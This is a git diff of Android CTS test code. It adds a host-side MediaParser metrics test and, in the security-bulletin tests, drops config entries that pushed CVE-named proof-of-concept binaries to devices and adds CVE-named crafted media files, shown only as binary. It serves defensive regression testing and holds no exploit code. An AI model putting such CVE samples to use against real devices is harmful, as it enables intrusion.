- runDeviceTestsAsUser(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS,
- testMethodName, userId);
+ runDeviceTests(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS, testMethodName, userId);
}
/**
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
new file mode 100644
index 0000000..87c9621
--- /dev/null
+++ b/hostsidetests/mediaparser/Android.bp
@@ -0,0 +1,39 @@
+//
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_test_host {
+ name: "CtsMediaParserHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+ static_libs: [
+ "cts-host-utils",
+ ],
+ data: [
+ ":CtsMediaParserTestCasesApp",
+ ]
+}
diff --git a/hostsidetests/mediaparser/AndroidTest.xml b/hostsidetests/mediaparser/AndroidTest.xml
new file mode 100644
index 0000000..7d53939
--- /dev/null
+++ b/hostsidetests/mediaparser/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="media" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsMediaParserHostTestCases.jar" />
+ <option name="runtime-hint" value="3m" />
+ </test>
+</configuration>
+
diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS
new file mode 100644
index 0000000..51256bf
--- /dev/null
+++ b/hostsidetests/mediaparser/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 817235
+aquilescanta@google.com
+andrewlewis@google.com
+essick@google.com
+marcone@google.com
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
new file mode 100644
index 0000000..e5797ce
--- /dev/null
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediaparser.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.MediametricsMediaParserReported;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Test for checking that the MediaParser CTS tests produce the expected media metrics. */
+public class MediaParserHostSideTest extends DeviceTestCase implements IBuildReceiver {
+
+ private static final String MEDIAPARSER_TEST_APK = "CtsMediaParserTestCasesApp.apk";
+ private static final String MEDIAPARSER_TEST_APP_PACKAGE = "android.media.mediaparser.cts";
+ private static final String MEDIAPARSER_TEST_CLASS_NAME =
+ "android.media.mediaparser.cts.MediaParserTest";
+ private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ private static final long CONFIG_ID = "cts_config".hashCode();
+ private static final String MEDIAPARSER_METRICS_SEPARATOR = "\\|";
+ private static final double MEDIAPARSER_METRICS_DITHER_VALUE = .02f;
+
+ private IBuildInfo mCtsBuildInfo;
+
+ // Resource management.
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuildInfo = buildInfo;
+ }
+
+ @Override
+ public void setUp() throws Exception {
+ File apk = new CompatibilityBuildHelper(mCtsBuildInfo).getTestFile(MEDIAPARSER_TEST_APK);
+ assertThat(getDevice().installPackage(apk, /* reinstall= */ true)).isNull();
+ removeConfig();
+ createAndUploadConfig();
+ getAndClearReportList(); // Clear existing reports.
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeConfig();
+ getDevice().uninstallPackage(MEDIAPARSER_TEST_APP_PACKAGE);
+ }
+
+ // Tests.
+
+ public void testCreationByNameMetrics() throws Exception {
+ String[] expectedParserNames = {
+ "android.media.mediaparser.MatroskaParser",
+ "android.media.mediaparser.FragmentedMp4Parser",
+ "android.media.mediaparser.Mp4Parser",
+ "android.media.mediaparser.Mp3Parser",
+ "android.media.mediaparser.AdtsParser",
+ "android.media.mediaparser.Ac3Parser",
+ "android.media.mediaparser.TsParser",
+ "android.media.mediaparser.FlvParser",
+ "android.media.mediaparser.OggParser",
+ "android.media.mediaparser.PsParser",
+ "android.media.mediaparser.WavParser",
+ "android.media.mediaparser.AmrParser",
+ "android.media.mediaparser.Ac4Parser",
+ "android.media.mediaparser.FlacParser",
+ };
+ // All of the above are created by name.
+ int[] expectedCreatedByName =
+ Arrays.stream(expectedParserNames).mapToInt(unusedArgument -> 1).toArray();
+ runDeviceTest("testCreationByName");
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ String[] observedParserNames =
+ mediaParserReportedEvents.stream()
+ .map(MediametricsMediaParserReported::getParserName)
+ .toArray(String[]::new);
+ int[] observedCreatedByName =
+ mediaParserReportedEvents.stream()
+ .mapToInt(MediametricsMediaParserReported::getCreatedByName)
+ .toArray();
+ assertThat(observedParserNames).isEqualTo(expectedParserNames);
+ assertThat(observedCreatedByName).isEqualTo(expectedCreatedByName);
+ }
+
+ public void testParserPool() throws Exception {
+ runDeviceTest("testMp4");
+ String[] expectedParserNamesInPool = {
+ "android.media.mediaparser.MatroskaParser",
+ "android.media.mediaparser.FragmentedMp4Parser",
+ "android.media.mediaparser.Mp4Parser",
+ "android.media.mediaparser.Mp3Parser",
+ "android.media.mediaparser.AdtsParser",
+ "android.media.mediaparser.Ac3Parser",
+ "android.media.mediaparser.TsParser",
+ "android.media.mediaparser.FlvParser",
+ "android.media.mediaparser.OggParser",
+ "android.media.mediaparser.PsParser",
+ "android.media.mediaparser.WavParser",
+ "android.media.mediaparser.AmrParser",
+ "android.media.mediaparser.Ac4Parser",
+ "android.media.mediaparser.FlacParser",
+ };
+ String parserPool = getSingleMediaParserReportedEvent().getParserPool();
+ List<String> parserNamesInParserPool =
+ Arrays.asList(parserPool.split(MEDIAPARSER_METRICS_SEPARATOR));
+ // We do not assert the order in the pool in order to allow test robustness against future
+ // mainline changes.
+ assertThat(parserNamesInParserPool).containsExactlyElementsIn(expectedParserNamesInPool);
+ }
+
+ public void testLastException() throws Exception {
+ runDeviceTest("testOggInvalidHeaderSniff");
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ assertThat(mediaParserReportedEvents).hasSize(2);
+ for (MediametricsMediaParserReported event : mediaParserReportedEvents) {
+ assertThat(event.getLastException())
+ .isEqualTo("android.media.MediaParser$UnrecognizedInputFormatException");
+ }
+ }
+
+ public void testResourceByteCount() throws Exception {
+ long actualInputSize = 101597;
+ long minimumExpectedResourceByteCount =
+ (long) (actualInputSize * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+ long maximumExpectedResourceByteCount =
+ (long) (actualInputSize * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+ runDeviceTest("testMp4");
+ long reportedByteCount = getSingleMediaParserReportedEvent().getResourceByteCount();
+ assertThat(reportedByteCount).isAtLeast(minimumExpectedResourceByteCount);
+ assertThat(reportedByteCount).isAtMost(maximumExpectedResourceByteCount);
+ }
+
+ public void testDurationMillis() throws Exception {
+ long actualDurationMillis = 1024;
+ long minimumExpectedResourceByteCount =
+ (long) (actualDurationMillis * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+ long maximumExpectedResourceByteCount =
+ (long) (actualDurationMillis * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+ runDeviceTest("testMp4");
+ long reportedDurationMillis = getSingleMediaParserReportedEvent().getDurationMillis();
+ assertThat(reportedDurationMillis).isAtLeast(minimumExpectedResourceByteCount);
+ assertThat(reportedDurationMillis).isAtMost(maximumExpectedResourceByteCount);
+ }
+
+ public void testTrackMimeTypes() throws Exception {
+ String[] expectedTrackMimeTypes = new String[] {"video/avc", "audio/mp4a-latm"};
+ runDeviceTest("testMp4");
+ String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackMimeTypes();
+ List<String> actualTrackMimeTypes =
+ Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+ assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedTrackMimeTypes);
+ }
+
+ public void testTrackCodecs() throws Exception {
+ String[] expectedCodecs = new String[] {"", "mp4a.40.2"};
+ runDeviceTest("testMp4");
+ String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackCodecs();
+ List<String> actualTrackMimeTypes =
+ Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+ assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedCodecs);
+ }
+
+ public void testAlteredParameters() throws Exception {
+ runDeviceTest("testTsWithH264DtsAudio");
+ assertThat(getSingleMediaParserReportedEvent().getAlteredParameters())
+ .isEqualTo("android.media.mediaparser.ts.enableHdmvDtsAudioStreams");
+ }
+
+ public void testVideoSize() throws Exception {
+ runDeviceTest("testMp4");
+ MediametricsMediaParserReported reportedEvent = getSingleMediaParserReportedEvent();
+ assertThat(reportedEvent.getVideoWidth()).isEqualTo(1080);
+ assertThat(reportedEvent.getVideoHeight()).isEqualTo(720);
+ }
+
+ // Internal methods.
+
+ /** Creates the statsd config and passes it to statsd. */
+ private void createAndUploadConfig() throws Exception {
+ StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(CONFIG_ID)
+ .addAllowedLogSource(MEDIAPARSER_TEST_APP_PACKAGE)
+ .addWhitelistedAtomIds(
+ AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+ addAtomEvent(configBuilder);
+ uploadConfig(configBuilder.build());
+ }
+
+ /** Removes any existing config with id {@link #CONFIG_ID}. */
+ private void removeConfig() throws Exception {
+ getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+ }
+
+ /** Writes the given config into a file and passes is to statsd via standard input. */
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ // Make sure a config file with the same name doesn't exist already.
+ getDevice().deleteFile(remotePath);
+ assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+ getDevice()
+ .executeShellCommand(
+ "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+ getDevice().deleteFile(remotePath);
+ }
+
+ /**
+ * Asserts that there is only one MediaParser reported metric event, and returns it.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private MediametricsMediaParserReported getSingleMediaParserReportedEvent() throws Exception {
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ assertThat(mediaParserReportedEvents).hasSize(1);
+ return mediaParserReportedEvents.get(0);
+ }
+
+ /**
+ * Returns all MediaParser reported metric events sorted by timestamp.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
+ ConfigMetricsReportList reportList = getAndClearReportList();
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+ StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+ ArrayList<EventMetricData> data = new ArrayList<>();
+ report.getMetricsList()
+ .forEach(
+ statsLogReport ->
+ data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ // We sort the reported events by the elapsed timestamp so as to ensure they are returned
+ // in the same order as they were generated by the CTS tests.
+ return data.stream()
+ .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
+ .map(event -> event.getAtom().getMediametricsMediaparserReported())
+ .collect(Collectors.toList());
+ }
+
+ /** Gets a statsd report and removes it from the device. */
+ private ConfigMetricsReportList getAndClearReportList() throws Exception {
+ CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice()
+ .executeShellCommand(
+ "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+ receiver);
+ return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+ }
+
+ /** Runs the test with the given name from the MediaParser CTS apk. */
+ private void runDeviceTest(String testMethodName) throws DeviceNotAvailableException {
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(
+ MEDIAPARSER_TEST_APP_PACKAGE, TEST_RUNNER, getDevice().getIDevice());
+ testRunner.setMethodName(MEDIAPARSER_TEST_CLASS_NAME, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+ TestRunResult result = listener.getCurrentRunResults();
+ assertThat(result.isRunFailure()).isFalse();
+ assertThat(result.getNumTests()).isEqualTo(1);
+ assertThat(result.hasFailedTests()).isFalse();
+ }
+
+ /** Adds an event to the config in order to match MediaParser reported atoms. */
+ private static void addAtomEvent(StatsdConfig.Builder config) {
+ String atomName = "Atom" + System.nanoTime();
+ String eventName = "Event" + System.nanoTime();
+ SimpleAtomMatcher.Builder sam =
+ SimpleAtomMatcher.newBuilder()
+ .setAtomId(AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+ config.addAtomMatcher(
+ AtomMatcher.newBuilder().setId(atomName.hashCode()).setSimpleAtomMatcher(sam));
+ config.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+}
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 9a5c29d..a6b5c79 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -19,233 +19,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
- <!--__________________-->
- <!-- Utilities -->
- <option name="push" value="pacrunner->/data/local/tmp/pacrunner" />
-
- <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
- <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
- <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
- <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
- <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
- <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
- <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
- <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
- <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
- <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
- <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
- <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
- <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
- <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
- <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
- <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
- <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
- <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
- <option name="push" value="Bug-137878930->/data/local/tmp/Bug-137878930" />
-
- <!--__________________-->
- <!-- Bulletin 2015-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2015-3873->/data/local/tmp/CVE-2015-3873" />
-
- <!--__________________-->
- <!-- Bulletin 2016-04 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
- <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
- <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
-
- <!--__________________-->
- <!-- Bulletin 2016-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
- <option name="push" value="CVE-2015-1805->/data/local/tmp/CVE-2015-1805" />
-
- <!--__________________-->
- <!-- Bulletin 2016-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
-
- <!--__________________-->
- <!-- Bulletin 2016-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-3747->/data/local/tmp/CVE-2016-3747" />
- <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
- <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
- <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
-
- <!-- Bulletin 2016-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
-
- <!--__________________-->
- <!-- Bulletin 2016-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-3913->/data/local/tmp/CVE-2016-3913" />
-
- <!--__________________-->
- <!-- Bulletin 2016-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2012-6702->/data/local/tmp/CVE-2012-6702" />
-
- <!--__________________-->
- <!-- Bulletin 2016-12 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-01 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
-
- <!--__________________-->
- <!-- Bulletin 2017-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0415->/data/local/tmp/CVE-2017-0415" />
- <option name="push" value="CVE-2017-0426->/data/local/tmp/CVE-2017-0426" />
-
- <!--__________________-->
- <!-- Bulletin 2017-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0477->/data/local/tmp/CVE-2017-0477" />
- <option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
- <option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
- <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
- <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
- <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
-
- <!--__________________-->
- <!-- Bulletin 2017-04 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-10229->/data/local/tmp/CVE-2016-10229" />
- <option name="push" value="CVE-2014-3145->/data/local/tmp/CVE-2014-3145"/>
- <option name="push" value="CVE-2017-0553->/data/local/tmp/CVE-2017-0553"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-5862->/data/local/tmp/CVE-2016-5862"/>
- <option name="push" value="CVE-2016-5867->/data/local/tmp/CVE-2016-5867"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-4658->/data/local/tmp/CVE-2016-4658" />
- <option name="push" value="CVE-2016-5131->/data/local/tmp/CVE-2016-5131" />
-
- <!--__________________-->
- <!-- Bulletin 2017-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2109->/data/local/tmp/CVE-2016-2109"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-08 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="Bug-38195738->/data/local/tmp/Bug-38195738" />
-
- <!--__________________-->
- <!-- Bulletin 2017-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0814->/data/local/tmp/CVE-2017-0814" />
-
- <!--__________________-->
- <!-- Bulletin 2017-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-12 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-6262->/data/local/tmp/CVE-2017-6262" />
-
- <!--__________________-->
- <!-- Bulletin 2018-01 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9527->/data/local/tmp/CVE-2018-9527" />
-
- <!--__________________-->
- <!-- Bulletin 2018-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0837->/data/local/tmp/CVE-2017-0837" />
- <option name="push" value="CVE-2017-13273->/data/local/tmp/CVE-2017-13273" />
- <option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
-
- <!--__________________-->
- <!-- Bulletin 2018-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
-
- <!--__________________-->
- <!-- Bulletin 2018-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9344->/data/local/tmp/CVE-2018-9344" />
-
- <!--__________________-->
- <!-- Bulletin 2018-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9428->/data/local/tmp/CVE-2018-9428" />
- <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
-
- <!--__________________-->
- <!-- Bulletin 2018-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9466-CVE-2017-9047->/data/local/tmp/CVE-2018-9466-CVE-2017-9047" />
- <option name="push" value="CVE-2018-9466-CVE-2017-9048->/data/local/tmp/CVE-2018-9466-CVE-2017-9048" />
- <option name="push" value="CVE-2018-9466-CVE-2017-9049->/data/local/tmp/CVE-2018-9466-CVE-2017-9049" />
- <option name="push" value="CVE-2018-9472->/data/local/tmp/CVE-2018-9472" />
-
- <!--__________________-->
- <!-- Bulletin 2018-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9491->/data/local/tmp/CVE-2018-9491" />
- <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
-
- <!--__________________-->
- <!-- Bulletin 2018-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9537->/data/local/tmp/CVE-2018-9537" />
- <option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
-
- <!--__________________-->
- <!-- Bulletin 2019-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
- <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
-
- <!--__________________-->
- <!-- Bulletin 2019-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2019-9362->/data/local/tmp/CVE-2019-9362" />
- <option name="push" value="CVE-2019-9308->/data/local/tmp/CVE-2019-9308" />
- <option name="push" value="CVE-2019-9357->/data/local/tmp/CVE-2019-9357" />
- <option name="push" value="CVE-2019-9313->/data/local/tmp/CVE-2019-9313" />
-
- <!--__________________-->
- <!-- Bulletin 2020-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
- <option name="append-bitness" value="true" />
- </target_preparer>
-
- <!-- The following tests hit either 32-bit or 64-bit, but not both. All tests in this -->
- <!-- section should take care to build either 32 bit or 64 bit binary, but not both. -->
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
-
- <!-- Please add 32-bit binary tests below to avoid merge conflict -->
- <option name="push" value="CVE-2019-934732->/data/local/tmp/CVE-2019-9347" />
- <option name="push" value="CVE-2017-084032->/data/local/tmp/CVE-2017-0840" />
- <option name="push" value="CVE-2017-1324132->/data/local/tmp/CVE-2017-13241" />
-
- <!-- Please add 64-bit binary tests below to avoid merge conflict -->
-
-
- <option name="append-bitness" value="false" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
index 68945d3..28ce2a5 100644
--- a/hostsidetests/securitybulletin/OWNERS
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -1,4 +1,5 @@
# Bug component: 36824
mspector@google.com
-samschumacher@google.com
manjaepark@google.com
+cdombroski@google.com
+lgallegos@google.com
diff --git a/hostsidetests/securitybulletin/res/cve_2015_6616.mp4 b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
new file mode 100644
index 0000000..716c942
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_10244 b/hostsidetests/securitybulletin/res/cve_2016_10244
new file mode 100644
index 0000000..6f0fad7
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_10244
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_6328.mp4 b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
new file mode 100644
index 0000000..8813ef6
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0697.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
new file mode 100644
index 0000000..ef300fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0726.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
new file mode 100644
index 0000000..2e30e91
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
Binary files differ
